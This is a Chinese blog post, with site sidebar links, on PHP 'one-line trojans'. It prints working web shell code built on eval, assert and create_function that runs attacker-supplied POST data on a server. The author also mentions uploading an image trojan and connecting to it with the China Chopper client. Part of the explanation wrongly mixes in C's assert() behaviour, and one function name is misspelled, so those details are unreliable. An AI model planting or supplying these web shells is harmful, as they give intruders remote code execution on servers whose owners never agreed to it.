当前位置:网站首页>PHP之一句话木马
PHP之一句话木马
2022-06-26 04:59:00 【伯麟】
一句话木马的普通形式
<?php eval(@$_POST['password']);?>
<?php ;?>是php的基本格式 eval是执行函数
$_POST[‘password’]是接收的数据,此处使用的是POST方式,同样存在GET、COOKIE方式,一句话木马通过eval函数把接收的数据当作PHP代码来执行
曾经用传图片木马进入服务器,并用菜刀进行了连接,菜刀连接需要输入密码,使用的便是参数中的内容“password”。
连接过程中发现问题,连接时候,服务器端弹出窗口,需要人为关闭此窗口,客户端才可以用菜刀成功连接。否则连接不成功。(具体为何还未解决,抽时间会解决此问题)
使用函数
- assert函数
<?php assert(@$_POST['password']);?>
assert的作用是现计算表达式 expression ,如果其值为假(即为0),那么它先向stderr打印一条出错信息,然后通过调用 abort 来终止程序运行。
assert()的缺点是,频繁的调用会极大的影响程序的性能,增加额外的开销。
许多地方已经将assert函数禁用,因为assert只在DEBUG个生效,只需要在#include <assert.h>前加上#define NDEBUG便可禁用,也可以通过改变环境实现。
比较好的在程序中使用assert的地方:
- 空指针检查。例如,针对一个函数的参数进行空指针检查。你可以这样使用:
assert (pointer != NULL);
产生的错误会像这样:
Assertion ‘pointer != ((void *)0)’ failed。
这样,当出现空指针时,你的程序就会退出,并很好的给出错误信息。 - 检查函数参数的值。例如,如果一个函数只能在它的一个参数foo为正值的时候被调用,你可以在函数开始时这样写:
assert (foo > 0);,
这将帮助你检测函数的错误使用,这也给源代码阅读者很清晰的印象,那就是在这里对函数的参数值有限制。
- 空指针检查。例如,针对一个函数的参数进行空指针检查。你可以这样使用:
我们可以尝试在自己的木马中合理使用。
- create_funtion函数
<?php
$fun = create_funtion('',$_POST['password']);
$fun();
?>
create_funtion函数的作用是根据传递的参数创建匿名函数,并为其返回唯一名称。
使用方法:把用户传递的数据生成一个函数,例如上述fun(),然后再执行fun()。
- 以下代码参考
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>
create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。
create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。
边栏推荐
- Use fill and fill in Matplotlib_ Between fill the blank area between functions
- Floyd
- UWB超高精度定位系统架构图
- 1.19 learning summary
- A new paradigm for large model application: unified feature representation optimization (UFO)
- Use to_ Numeric to numeric type
- ModuleNotFoundError: No module named ‘numpy‘
- 2022.1.23
- 天才制造者:獨行俠、科技巨頭和AI|深度學習崛起十年
- 1.18 learning summary
猜你喜欢
UWB ultra high precision positioning system architecture
1.18 learning summary
Nabicat connection: local MySQL & cloud service MySQL and error reporting
Schematic diagram of UWB ultra high precision positioning system
DBeaver 安装及配置离线驱动
Machine learning final exercises
1.20 learning summary
Rdkit chemical formula molecular formula search
#微信小程序# 在小程序里面退出退出小程序(navigator以及API--wx.exitMiniProgram)
2022.1.24
随机推荐
天才制造者:独行侠、科技巨头和AI|深度学习崛起十年
Multipass Chinese document - setup driver
Nabicat连接:本地Mysql&&云服务Mysql以及报错
Image translation /gan:unsupervised image-to-image translation with self attention networks
Genius makers: lone Rangers, technology giants and AI | ten years of the rise of in-depth learning
pycharm 导包错误没有警告
Astype conversion data type
1.21 learning summary
ThreadPoolExecutor实现文件上传批量插入数据
Zhongshanshan: engineers after being blasted will take off | ONEFLOW u
Mise en œuvre du routage dynamique par zuul
Difference between return and yield
微服务之间的Token传递之一@Feign的token传递
Rsync common error messages (common errors on the window)
Datetime data type - min() get the earliest date and date_ Range() creates a date range, timestamp() creates a timestamp, and tz() changes the time zone
Multipass Chinese document - use instance command alias
Create a binary response variable using the cut sub box operation
Basic query
#微信小程序# 在小程序里面退出退出小程序(navigator以及API--wx.exitMiniProgram)
Svn error command revert error previous operation has not finished; run ‘ cleanup‘ if